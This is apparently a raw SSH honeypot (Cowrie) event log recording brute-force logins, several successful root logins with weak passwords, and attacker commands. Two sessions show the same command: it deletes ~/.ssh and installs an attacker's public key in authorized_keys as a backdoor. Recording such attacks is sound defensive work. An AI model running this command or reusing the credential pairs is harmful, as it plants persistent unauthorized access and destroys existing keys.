s256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:05.044600Z","src_ip":"193.32.162.151","session":"ed0d0fab46a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public_django_project","password":"12345678","message":"login attempt [public_django_project/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:05.480467Z","src_ip":"193.32.162.151","session":"ed0d0fab46a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:06.594829Z","src_ip":"193.32.162.151","session":"ed0d0fab46a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.71.192.108","src_port":38494,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba752e22c808","protocol":"ssh","message":"New connection: 201.71.192.108:38494 (10.17.0.5:22) [session: ba752e22c808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:26.107889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:26.112574Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:26.257898Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxcv1234!@#$","message":"login attempt [root/zxcv1234!@#$] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:26.873199Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.208820Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.212096Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.215279Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.363478Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.693968Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.697413Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.847951Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.852057Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.71.192.108","src_port":50780,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c1a08753a3","protocol":"ssh","message":"New connection: 201.71.192.108:50780 (10.17.0.5:22) [session: 24c1a08753a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.982474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:27.990138Z","src_ip":"201.71.192.108","session":"24c1a08753a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:28.132289Z","src_ip":"201.71.192.108","session":"24c1a08753a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:28.729810Z","src_ip":"201.71.192.108","session":"24c1a08753a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:29.874856Z","src_ip":"201.71.192.108","session":"24c1a08753a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.71.192.108","src_port":50782,"dst_ip":"10.17.0.5","dst_port":22,"session":"024fb5fc7a1a","protocol":"ssh","message":"New connection: 201.71.192.108:50782 (10.17.0.5:22) [session: 024fb5fc7a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:30.017562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:30.029469Z","src_ip":"201.71.192.108","session":"024fb5fc7a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:30.170763Z","src_ip":"201.71.192.108","session":"024fb5fc7a1a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:30.769157Z","src_ip":"201.71.192.108","session":"024fb5fc7a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:30.911198Z","src_ip":"201.71.192.108","session":"ba752e22c808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:10:30.915554Z","src_ip":"201.71.192.108","session":"024fb5fc7a1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.104.58.198","src_port":39268,"dst_ip":"10.17.0.5","dst_port":22,"session":"e50f0c4d6032","protocol":"ssh","message":"New connection: 181.104.58.198:39268 (10.17.0.5:22) [session: e50f0c4d6032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:00.251704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:00.256759Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:00.453405Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"geoserver","message":"login attempt [root/geoserver] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:01.277153Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:01.709967Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:01.713787Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:01.717700Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:01.915416Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:02.344070Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:02.347746Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:02.547400Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:02.552080Z","src_ip":"181.104.58.198","session":"e50f0c4d6032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.104.58.198","src_port":39654,"dst_ip":"10.17.0.5","dst_port":22,"session":"1dcd3014b28a","protocol":"ssh","message":"New connection: 181.104.58.198:39654 (10.17.0.5:22) [session: 1dcd3014b28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:02.739233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:02.744287Z","src_ip":"181.104.58.198","session":"1dcd3014b28a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:02.938792Z","src_ip":"181.104.58.198","session":"1dcd3014b28a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:03.755486Z","src_ip":"181.104.58.198","session":"1dcd3014b28a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:04.954555Z","src_ip":"181.104.58.198","session":"1dcd3014b28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.104.58.198","src_port":40140,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7db621a9cd7","protocol":"ssh","message":"New connection: 181.104.58.198:40140 (10.17.0.5:22) [session: c7db621a9cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:05.152932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:11:05.157140Z","src_ip":"181.104.58.198","session":"c7db621a9cd7","protocol":"ssh"}
